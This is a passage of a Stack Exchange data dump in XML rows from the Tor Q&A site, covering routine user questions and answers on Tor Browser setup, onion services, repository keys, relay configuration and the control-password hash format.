circuit.&lt;/p&gt;&#xA;&lt;p&gt;In general there are 6 relays used in end to end communication. Three of them are chosen by service (a.k.a introduction point) and three are chosen by client including rendezvous point&lt;/p&gt;&#xA;" OwnerUserId="33045" LastActivityDate="2021-08-16T12:07:30.927" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22589" PostTypeId="2" ParentId="7" CreationDate="2021-08-16T16:11:58.807" Score="0" Body="&lt;p&gt;check out this (my own project): &lt;a href=&quot;https://github.com/briand-hub/toresp32&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/briand-hub/toresp32&lt;/a&gt;&#xA;client/proxy for Linux and ESP32 platform. Very well commented code for educational purposes, written in modern C++!&#xA;Hope helps you, bye!&lt;/p&gt;&#xA;" OwnerUserId="33073" LastActivityDate="2021-08-16T16:11:58.807" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22591" PostTypeId="2" ParentId="6448" CreationDate="2021-08-17T03:07:20.930" Score="3" Body="&lt;p&gt;Here's a quick text explanation on how the password hash generator in Tor works:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Obtain 8 random bytes from the system as &lt;code&gt;Salt&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Append the bytes of the user specified password to the salt&lt;/li&gt;&#xA;&lt;li&gt;Repeat this sequence until the length is 65536 (0x10000) bytes. If repeating the sequence doesn't exactly end up at this number, cut off any excess bytes.&lt;/li&gt;&#xA;&lt;li&gt;Hash the sequence using SHA1&lt;/li&gt;&#xA;&lt;li&gt;Your hashed control password will be &lt;code&gt;&amp;quot;16:&amp;quot; + Hex(Salt) + &amp;quot;60&amp;quot; + Hex(Sha1)&lt;/code&gt; where &lt;code&gt;+&lt;/code&gt; is string concatenation and &lt;code&gt;Hex()&lt;/code&gt; is &amp;quot;convert bytes to uppercase hexadecimal&amp;quot;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h2&gt;Testing&lt;/h2&gt;&#xA;&lt;p&gt;To test your implementation, use the password &amp;quot;TestPassword12345678&amp;quot; and the Salt &lt;code&gt;0x72,0x84,0x07,0x51,0xE1,0xEC,0xE7,0x7D&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;The resulting hash should be &lt;code&gt;16:72840751E1ECE77D603D8463393DA85D67E7A9746DA4B3533DC7A37178&lt;/code&gt;&lt;/p&gt;&#xA;&lt;h2&gt;Notes&lt;/h2&gt;&#xA;&lt;p&gt;This takes a big shortcut. Namely, the repetition count from step 3 is in reality dynamic.&lt;/p&gt;&#xA;&lt;p&gt;The formula in use by Tor is &lt;code&gt;count = (16 + (c &amp;amp; 15)) &amp;lt;&amp;lt; ((c &amp;gt;&amp;gt; 4) + EXPBIAS);&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;EXPBIAS&lt;/code&gt; is defined as &lt;code&gt;6&lt;/code&gt; and &lt;code&gt;c&lt;/code&gt; is defined as &lt;code&gt;0x60&lt;/code&gt; (this is the number we insert between the salt and hash in step 5).&lt;/p&gt;&#xA;&lt;p&gt;Because these numbers are currently constant, the result of the formula is always the same. However, if you make a function that checks the user password against the hash, you don't want to use a constant 0x60 but use the value that is actually in use in the password hash.&lt;/p&gt;&#xA;" OwnerUserId="33074" LastActivityDate="2021-08-17T03:07:20.930" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22592" PostTypeId="2" ParentId="13708" CreationDate="2021-08-17T05:36:45.813" Score="2" Body="&lt;p&gt;I released a Tor implementation based on ESP32.&#xA;I have done it for educational purposes and the code is in modern C++ based on IDF framework.&#xA;Lack of resources was an hard issue, however it works very well if you do not search for performances. I think this is the first project on Tor/IOT topic :)&#xA;Take a look: &lt;a href=&quot;https://github.com/briand-hub/toresp32&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/briand-hub/toresp32&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="33073" LastActivityDate="2021-08-17T05:36:45.813" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22593" PostTypeId="1" CreationDate="2021-08-18T08:06:57.107" Score="0" ViewCount="489" Body="&lt;p&gt;Just recently installed Tails onto a USB, the first time I booted it up it seemed to connect fine. But then I restarted it and it's not working. I tried also on another laptop but still not working. Does anyone know how to fix this.&lt;/p&gt;&#xA;" OwnerUserId="33079" LastActivityDate="2022-03-24T20:37:51.347" Title="Error Connecting to Tor" Tags="|tails|connection|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22594" PostTypeId="1" CreationDate="2021-08-19T12:11:17.620" Score="0" ViewCount="575" Body="&lt;p&gt;When I tried to create a .onion service by modifying the torrc file, nothing happened. I mean nothing. The official website says that if tor is not starting then there is a problem. Well tor is starting and there isn't any information in the embedded logs about an error. When I enabled saving logs in the torrc file, nothing changed. No logs were generated in /var/log/tor. Any help?&lt;/p&gt;&#xA;" OwnerUserId="33081" LastActivityDate="2022-01-16T13:06:00.470" Title="Tor doesn't read the torrc file" Tags="|tor-browser-bundle|configuration|onion-routing|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="22595" PostTypeId="2" ParentId="22594" CreationDate="2021-08-19T12:53:41.510" Score="0" Body="&lt;p&gt;You can set up a hidden service by following the instructions at &lt;a href=&quot;https://community.torproject.org/onion-services/setup/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://community.torproject.org/onion-services/setup/&lt;/a&gt; The command to restart tor after changing torrc is&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;sudo systemctl restart tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="33082" LastEditorUserId="33082" LastEditDate="2021-08-19T13:05:37.353" LastActivityDate="2021-08-19T13:05:37.353" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22596" PostTypeId="1" AcceptedAnswerId="22597" CreationDate="2021-08-19T17:10:19.950" Score="0" ViewCount="301" Body="&lt;p&gt;following instructions at &lt;a href=&quot;https://support.torproject.org/apt/tor-deb-repo/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://support.torproject.org/apt/tor-deb-repo/&lt;/a&gt;&#xA;step 3:&lt;/p&gt;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;Then add the gpg key used to sign the packages by running the following commands at your command prompt&lt;br /&gt;&#xA;&lt;code&gt;# wget -qO- https://deb.torproject.org/torproject.org/A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89.asc | gpg --import&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;# gpg --export A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89 | apt-key add -&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;results in&lt;/p&gt;&#xA;&lt;p&gt;&amp;quot;Warning: apt-key is deprecated. Manage keyring files in trusted.gpg.d instead (see apt-key(8)).&#xA;E: This command can only be used by root.&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;could someone update/correct/clarify the instructions?&lt;/p&gt;&#xA;" OwnerUserId="33085" LastActivityDate="2021-08-19T19:04:48.353" Title="apt-key is deprecated. clarify instructions?" Tags="|tor-browser-bundle|tor-install|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22597" PostTypeId="2" ParentId="22596" CreationDate="2021-08-19T19:04:48.353" Score="0" Body="&lt;p&gt;The Debian instructions for the new way to connect to a third-party repository are at &lt;a href=&quot;https://wiki.debian.org/DebianRepository/UseThirdParty&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://wiki.debian.org/DebianRepository/UseThirdParty&lt;/a&gt;. The new method is as follows.&lt;/p&gt;&#xA;&lt;p&gt;Download the ASCII armored key over HTTPS, dearmor it if necessary, and store it in /usr/share/keyrings. For Tor, that would look like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;wget -O- https://deb.torproject.org/torproject.org/A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89.asc | gpg --dearmor | sudo tee /usr/share/keyrings/tor-archive-keyring.gpg&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Create the sources.list entry in a new file in /etc/apt/sources.list.d/ named tor.list. The entry should have the signed-by option set, and it should point to a file rather than a fingerprint. For Tor, the file /etc/apt/sources.list.d/tor.list would contain a line:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;deb [signed-by=/usr/share/keyrings/tor-archive-keyring.gpg] https://deb.torproject.org/torproject.org &amp;lt;DISTRIBUTION&amp;gt; main&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="33082" LastActivityDate="2021-08-19T19:04:48.353" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22598" PostTypeId="1" CreationDate="2021-08-20T14:03:58.903" Score="0" ViewCount="190" Body="&lt;p&gt;Tor@default.service fails to run and journalctl -eu tor@default outputs this - &lt;a href=&quot;https://campfirebg.eu5.org/upload/log.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://campfirebg.eu5.org/upload/log.txt&lt;/a&gt;&#xA;Any help?&lt;/p&gt;&#xA;" OwnerUserId="33081" LastActivityDate="2022-01-18T04:09:05.890" Title="Tor doesn't work until I run &quot;Tor&quot; in the terminal" Tags="|configuration|onion-routing|tor-install|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22600" PostTypeId="2" ParentId="22598" CreationDate="2021-08-21T02:08:51.520" Score="0" Body="&lt;p&gt;Using this command to filter you log file&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;cat log.txt | grep -F '[warn]' | grep -v 'Failed to parse/validate' | grep -P -o '\[warn\] \K.*' | uniq &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Gives this output:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Directory /var/lib/tor cannot be read: Permission denied&#xA;Directory /var/lib/tor/keys cannot be read: Permission denied&#xA;/var/lib/tor is not owned by this user (debian-tor, 127) but by rado (1000). Perhaps you are running Tor as the wrong user?&#xA;Fixing permissions on directory /var/lib/tor&#xA;/var/lib/tor/keys is not owned by this user (debian-tor, 127) but by rado (1000). Perhaps you are running Tor as the wrong user?&#xA;/home/rado/onion/service is not owned by this user (debian-tor, 127) but by root (0). Perhaps you are running Tor as the wrong user?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;It looks like the tor service is running under the user &lt;code&gt;debian-tor&lt;/code&gt;, so you need to change ownership of these directories to &lt;code&gt;debian-tor&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Something like this should fix it:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;sudo chown -R debian-tor /var/lib/tor /home/rado/onion/service&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="33091" LastActivityDate="2021-08-21T02:08:51.520" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22601" PostTypeId="2" ParentId="12228" CreationDate="2021-08-21T02:20:34.857" Score="0" Body="&lt;p&gt;Checkout my extension at &lt;a href=&quot;https://gitlab.torproject.org/lansi90/google-captcha-bypass-extension&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gitlab.torproject.org/lansi90/google-captcha-bypass-extension&lt;/a&gt;. It has a function &lt;code&gt;newCircuitForDomain&lt;/code&gt; that does what you want. You can use it as a basis for your work. It is under &lt;a href=&quot;https://creativecommons.org/publicdomain/zero/1.0/&quot; rel=&quot;nofollow noreferrer&quot;&gt;CC0&lt;/a&gt; public domain.&lt;/p&gt;&#xA;" OwnerUserId="33091" LastActivityDate="2021-08-21T02:20:34.857" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22602" PostTypeId="2" ParentId="20937" CreationDate="2021-08-21T03:10:37.650" Score="0" Body="&lt;p&gt;When this persists, you can bypass it by clicking the button &amp;quot;New Tor Circuit for this Site&amp;quot;. You get a new IP address each time you click the button, eventually one of those IP addresses will work.&lt;/p&gt;&#xA;&lt;p&gt;I made an extension &lt;a href=&quot;https://gitlab.torproject.org/lansi90/google-captcha-bypass-extension&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gitlab.torproject.org/lansi90/google-captcha-bypass-extension&lt;/a&gt; that deals with this issue transparently. Since I started using it, I do not encounter this issue anymore.&lt;/p&gt;&#xA;" OwnerUserId="33091" LastActivityDate="2021-08-21T03:10:37.650" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22603" PostTypeId="2" ParentId="21695" CreationDate="2021-08-21T10:32:03.400" Score="2" Body="&lt;p&gt;Great Questions! It's awesome that you're curious about protecting your identity and what you do on the web! After all, it should be nobody elses business but your own. Congratulations!&lt;/p&gt;&#xA;&lt;p&gt;I take issue with the answer provided by one user that said &lt;em&gt;&amp;quot;Any programming language that you would use for normal websites (HTML/JavaScript/CSS for frontend/static content, NodeJS/PHP/Ruby/Python/Java/etc for the backend server)&amp;quot;&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;The purpose of the TOR Network and .onion routing is anonymity. Some of the worst security hacks against the end user are done through JavaScript. NodeJS is JavaScript.&lt;/p&gt;&#xA;&lt;p&gt;There's a couple different layers of the dark web. There's a surface darkweb. This is where most people get into trouble. This is where malicious sites live. If a site on the dark web requires or allows JavaScript then you are not anonymous. A little bit further down you'll find where truly secure .onion sites are.&lt;/p&gt;&#xA;&lt;p&gt;You asked, &lt;em&gt;&amp;quot;is it possible to use tor browser on Linux distributions with obtaining full anonymity?&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;The answer is yes. In fact there's a linux distro specifically to do as you suggest. It's a very hardened version of Debian written specifically for the TOR network and your anonymity. It's called &amp;quot;Tails.&amp;quot; Learn about it. Also learn about &amp;quot;Whonix.&amp;quot; That's another super secure method to access it.&lt;/p&gt;&#xA;&lt;p&gt;Be safe, protect your identity especially if you're a whistle blower or reporting things others don't want reported. DON'T FALL IN! Peace.&lt;/p&gt;&#xA;" OwnerUserId="33096" LastEditorUserId="24966" LastEditDate="2021-08-22T19:06:58.367" LastActivityDate="2021-08-22T19:06:58.367" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22605" PostTypeId="1" AcceptedAnswerId="22609" CreationDate="2021-08-22T02:22:18.490" Score="0" ViewCount="84" Body="&lt;p&gt;Where Tor client stores the consensus?&lt;/p&gt;&#xA;&lt;p&gt;It appears ./tor-browser_en-US/Browser/TorBrowser/Data/Tor/state only contains guard nodes data not other nodes&lt;/p&gt;&#xA;" OwnerUserId="21203" LastActivityDate="2021-08-22T19:04:24.763" Title="Tor consensus store location" Tags="|directory|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22606" PostTypeId="2" ParentId="22584" CreationDate="2021-08-22T13:29:08.847" Score="1" Body="&lt;p&gt;@Tomek&lt;/p&gt;&#xA;&lt;p&gt;The solution was to include an ACCEPT Rule in the INPUT Chain as the PortForward destination was to the Private Gateway Address (192.168.0.1:9001).&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;# iptables -I INPUT -p tcp --dport 9001 -j ACCEPT&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The Tor Self-Test is returning successfully, now.&lt;/p&gt;&#xA;&lt;p&gt;Thank you for pointing me in the right direction.&lt;/p&gt;&#xA;&lt;p&gt;Respectfully,&lt;/p&gt;&#xA;&lt;p&gt;Gary&lt;/p&gt;&#xA;" OwnerUserId="32592" LastActivityDate="2021-08-22T13:29:08.847" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22607" PostTypeId="1" AcceptedAnswerId="22614" CreationDate="2021-08-22T14:21:04.490" Score="0" ViewCount="108" Body="&lt;p&gt;I am trying to understand the protocol used when a hidden service establishes itself on the Tor network. I read multiple documentations about it, but its not all clear to me.&lt;/p&gt;&#xA;&lt;p&gt;If I understand correctly, it calculates the private and public key. Then it connects and sends extend2 cells to multiple Tor relays to establish a circuit. I am not sure about what happens next. I think it uses the circuit to connect to a new Tor relay and exchange messages according to the introduction protocol. Then the hidden service descriptor is created containing the ip of the introduction point and the public key, which will be send to a distributed hash table.&lt;/p&gt;&#xA;&lt;p&gt;When a client connects to the introduction point it tells the introduction point the ip of a random Tor node (rendezvous point). I also don't know how the introduction point communicates the ip of the rendezvous point to the hidden service. After that the hidden service will create a circuit to the rendezvous point. From there it can send messages back and forth.&lt;/p&gt;&#xA;&lt;p&gt;There is probably something wrong with my explanation, so it would be great if someone could point out the mistakes and explain the parts I didn't get or give a clear explanation of the protocol.&lt;/p&gt;&#xA;" OwnerUserId="33103" LastActivityDate="2021-08-25T06:50:57.340" Title="Tor protocol server-side" Tags="|onion-services|protocol|node|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22609" PostTypeId="2" ParentId="22605" CreationDate="2021-08-22T19:04:24.763" Score="1" Body="&lt;p&gt;The Tor Browser downloads the microdescriptor consensus, which you can find at &lt;code&gt;Browser/TorBrowser/Data/Tor/cached-microdesc-consensus&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2021-08-22T19:04:24.763" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22610" PostTypeId="1" CreationDate="2021-08-23T05:36:28.893" Score="2" ViewCount="86" Body="&lt;p&gt;I ran a tor exit node on the wrong network.&#xA;Which I realized after a couple of days, after I kept getting CAPTCHAs on Cloudflare.&lt;/p&gt;&#xA;&lt;p&gt;Also quite annoying that several sites that I use stopped working because of CORS errors&#xA;(strict-origin-when-cross-origin, strict-origin-when-cross-origin) which is also because of cloudflare.&lt;/p&gt;&#xA;&lt;p&gt;I shut it down a few days ago but I'm still listed on&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://check.torproject.org/exit-addresses&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://check.torproject.org/exit-addresses&lt;/a&gt;&#xA;&lt;a href=&quot;https://check.torproject.org/torbulkexitlist&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://check.torproject.org/torbulkexitlist&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Anyway to remove my entry?&lt;/p&gt;&#xA;" OwnerUserId="33106" LastEditorUserId="33106" LastEditDate="2021-08-23T06:29:20.937" LastActivityDate="2021-08-23T06:29:20.937" Title="How do I unpublish my tor exit node?" Tags="|exit-relays|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22614" PostTypeId="2" ParentId="22607" CreationDate="2021-08-25T06:50:57.340" Score="0" Body="&lt;p&gt;You are actually right in explaining the process.&#xA;As per my understanding it is like this:&lt;/p&gt;&#xA;&lt;p&gt;Client sends the Introduction message to selected IP containing RP address and secret key signed with HS public key.&lt;/p&gt;&#xA;&lt;p&gt;IP just forwards the message to HS and HS then decrypts Introduction message.&#xA;It finds the RP addressand establishes a circuit to connect and sends RP message encrypted with secret key.&lt;/p&gt;&#xA;&lt;p&gt;RP, upon verifying the RP message, confirms Client about the connection establishment.&lt;/p&gt;&#xA;&lt;p&gt;later, both Client and HS communicate via RP&lt;/p&gt;&#xA;" OwnerUserId="33045" LastActivityDate="2021-08-25T06:50:57.340" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22615" PostTypeId="1" AcceptedAnswerId="22617" CreationDate="2021-08-26T14:09:14.823" Score="3" ViewCount="828" Body="&lt;p&gt;When I open a clear net site like torproject.org in the Tor Browser, the browser shows me this:&lt;a href=&quot;https://i.stack.imgur.com/VYtfP.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/VYtfP.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;How does it know there is a onion site available for the URL?&lt;/p&gt;&#xA;&lt;p&gt;Is there a file that maps clear site URLs to their dark net counterparts that is bundled with the browser?&lt;/p&gt;&#xA;&lt;p&gt;Or does it magically discovers the hidden URLs somehow?&lt;/p&gt;&#xA;" OwnerUserId="25443" LastEditorUserId="25443" LastEditDate="2021-08-28T03:27:39.163" LastActivityDate="2021-08-28T03:27:39.163" Title="How does tor browser know there is an onion site available for the URL?" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22617" PostTypeId="2" ParentId="22615" CreationDate="2021-08-26T18:52:43.063" Score="4" Body="&lt;p&gt;As far as I can tell this is done by:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Onion-Location: http://2gzyxa5ihm7nsggfxnu52rck2vv4rvmdlkiu3zzui5du4xyclen53wid.onion/index.html&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;header when accessing https:///www.torproject.org.&lt;/p&gt;&#xA;&lt;p&gt;The header is shortly described here: &lt;a href=&quot;https://support.torproject.org/onionservices/onion-location/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://support.torproject.org/onionservices/onion-location/&lt;/a&gt; :&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;What &amp;quot;.onion available&amp;quot; means in my browser?&lt;/p&gt;&#xA;&lt;p&gt;Onion-Location is a new HTTP header that web sites can use to&#xA;advertise their onion counterpart. If the web site that you're&#xA;visiting has an onion site available, a purple suggestion pill will&#xA;prompt at the URL bar saying &amp;quot;.onion available&amp;quot;. When you click on&#xA;&amp;quot;.onion available&amp;quot;, the web site will be reloaded and redirected to&#xA;its onion counterpart. At the moment, Onion-Location is available for&#xA;Tor Browser desktop (Windows, macOS and GNU/Linux). You can learn more&#xA;about Onion-Location in the &lt;a href=&quot;https://tb-manual.torproject.org/onion-services/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor Browser Manual&lt;/a&gt;. If you're an onion&#xA;service operator, &lt;a href=&quot;https://community.torproject.org/onion-services/advanced/onion-location&quot; rel=&quot;nofollow noreferrer&quot;&gt;learn how to configure Onion-Location&lt;/a&gt; in your onion&#xA;site.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="20437" LastEditorUserId="20437" LastEditDate="2021-08-26T18:57:44.837" LastActivityDate="2021-08-26T18:57:44.837" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22618" PostTypeId="2" ParentId="17981" CreationDate="2021-08-28T00:23:57.747" Score="1" Body="&lt;p&gt;Based upon the code that Andrei posted, it seems that 0 means IAT obfuscation is off, 1 means it is enabled, and 2 is paranoid.&lt;/p&gt;&#xA;&lt;p&gt;A &lt;a href=&quot;https://journalofcloudcomputing.springeropen.com/articles/10.1186/s13677-021-00244-8&quot; rel=&quot;nofollow noreferrer&quot;&gt;random paper I found&lt;/a&gt; says IAT stands for &amp;quot;Inter-Arrival Time&amp;quot;, &lt;a href=&quot;https://www.igi-global.com/dictionary/evaluating-computer-network-packet-inter/35848&quot; rel=&quot;nofollow noreferrer&quot;&gt;another random website I found&lt;/a&gt; says IAT is &amp;quot;The amount of time that elapses after the receipt of a packet until the next packet arrives&amp;quot;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Of course, all of that still doesn't say much, so I asked #tor-dev(elopers). Arma confirmed it was Inter-arrival Time and said:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;it slightly rearranges the timing between groups of bytes it sends, in hopes of messing up timing signatures based on the underlying protocol that obfs4 is obfuscating.&lt;br /&gt;&#xA;it might do something. it might not. more research is required, to make one that we can say something more specific about&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="31801" LastActivityDate="2021-08-28T00:23:57.747" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22619" PostTypeId="1" CreationDate="2021-08-29T07:49:31.053" Score="5" ViewCount="934" Body="&lt;p&gt;I noticed that the Firefox browser plugin tells you the number of users connected through your snowflake instance and the number of users that connected within the last 24 hours.&lt;/p&gt;&#xA;&lt;p&gt;I was wondering if the same stats can be extracted from the log trail of Snowflakes' docker image. I couldn't find any documentation to interpret those logs. Do I have any option other than reading the entire source code?&lt;/p&gt;&#xA;&lt;p&gt;PS: There's no tag for snowflake. Can somebody create it?&lt;/p&gt;&#xA;" OwnerUserId="12516" LastActivityDate="2022-10-06T12:06:11.883" Title="Extracting stats for Snowflake commandline" Tags="|proxy|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22620" PostTypeId="1" CreationDate="2021-08-30T06:22:18.183" Score="5" ViewCount="12708" Body="&lt;p&gt;I've looked at the other questions regarding this message, and none of the &amp;quot;cures&amp;quot; work for me.  Not even running as administrator.&lt;/p&gt;&#xA;&lt;p&gt;The &amp;quot;profile&amp;quot; it's complaining it can't access... what's the name of the file and where is it supposed to be located?&lt;/p&gt;&#xA;&lt;p&gt;I installed the program in a custom location &lt;code&gt;C:\Program Files\Tor Browser&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;The program wanted to install it here: &lt;code&gt;C:\Users\Droman\OneDrive\Desktop\Tor Browser&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;I wasn't interested in installing the program on the desktop, and I really don't understand why the install program was trying to do so.&lt;/p&gt;&#xA;&lt;p&gt;Thanks in advance for any assistance,&lt;/p&gt;&#xA;&lt;p&gt;Droman&lt;/p&gt;&#xA;" OwnerUserId="33153" LastEditorUserId="88" LastEditDate="2021-08-30T07:35:50.500" LastActivityDate="2022-01-27T08:02:15.257" Title="Tor Browser does not have permission to access the profile... Win 10/64" Tags="|tor-browser-bundle|windows|tor-install|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22621" PostTypeId="2" ParentId="22620" CreationDate="2021-08-30T07:46:40.347" Score="4" Body="&lt;p&gt;Usual software is installed by writing some components to a specific location like &lt;code&gt;C:\Program Files&lt;/code&gt; and when it is used such software creates user-specific files in your home directory. The Tor Browser doesn't work this way.&lt;/p&gt;&#xA;&lt;p&gt;It can run from any location (your home directory, an USB stick, etc.). Therefore the software is rather unpacked than installed.&lt;/p&gt;&#xA;&lt;p&gt;When you start it, it creates several files in the directory where it is started. The user who starts Tor Browser needs to have write permissions to this directory. The directory &lt;code&gt;C:\Program Files&lt;/code&gt; is specific and usually doesn't allow writing to it. Even the Administrator needs special permissions. So I would strongly recommend against writing to that directory.&lt;/p&gt;&#xA;&lt;p&gt;Instead try to find another location like &lt;code&gt;C:\User\Username&lt;/code&gt; or some similar directory and let Tor Browser run from there.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2021-08-30T07:46:40.347" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22622" PostTypeId="2" ParentId="4719" CreationDate="2021-08-30T10:30:31.800" Score="0" Body="&lt;p&gt;simple setup openvpn on local ip address eg. 10.10.10.1:1194&#xA;setup squid&amp;gt;&amp;gt;&amp;gt;privoxy&amp;gt;&amp;gt;&amp;gt;tor combination that open squid as vpn ip service eg. 10.8.8.1:3128&#xA;make a squid /etx/squid/tor.url config&#xA;tell your browser to use squid on 10.8.8.1:3128&#xA;start openvpn --config client.ovpn&#xA;start browser over squid&lt;/p&gt;&#xA;&lt;p&gt;voila&lt;/p&gt;&#xA;" OwnerUserId="33156" LastActivityDate="2021-08-30T10:30:31.800" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22624" PostTypeId="2" ParentId="22374" CreationDate="2021-08-31T20:32:26.410" Score="0" Body="&lt;p&gt;Are you still running into this issue with the latest version of Tor Browser (10.5.5)?&lt;/p&gt;&#xA;&lt;p&gt;If yes, it would be immensely helpful if you can find any lines beginning with &lt;code&gt;[WARN]&lt;/code&gt; in your Tor logs.&lt;/p&gt;&#xA;" OwnerUserId="31025" LastActivityDate="2021-08-31T20:32:26.410" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22625" PostTypeId="2" ParentId="21482" CreationDate="2021-08-31T21:10:06.823" Score="0" Body="&lt;p&gt;I realize that the question was asked about a year ago, but I will respond hoping that it would be useful for someone given the ongoing &lt;a href=&quot;https://blog.torproject.org/v2-deprecation-timeline&quot; rel=&quot;nofollow noreferrer&quot;&gt;v2 onion services deprecation&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Assuming you already created a version 3 address i.e in &lt;code&gt;torrc&lt;/code&gt; add these lines:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;HiddenServiceDir /full/path/to/your/new/v3/directory/&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;HiddenServicePort &amp;lt;virtual port&amp;gt; &amp;lt;target-address&amp;gt;:&amp;lt;target-port&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;You might want to keep running your version 2 service until it is deprecated to provide a transition path to your users. Add this line to the configuration block of your version 2 service:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;HiddenServiceVersion 2&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now you can advertise your new v3 onion address with &lt;a href=&quot;https://community.torproject.org/onion-services/advanced/onion-location/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Onion-Location&lt;/a&gt; or maybe add a small note on your v2 onion service.&lt;/p&gt;&#xA;" OwnerUserId="31025" LastActivityDate="2021-08-31T21:10:06.823" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
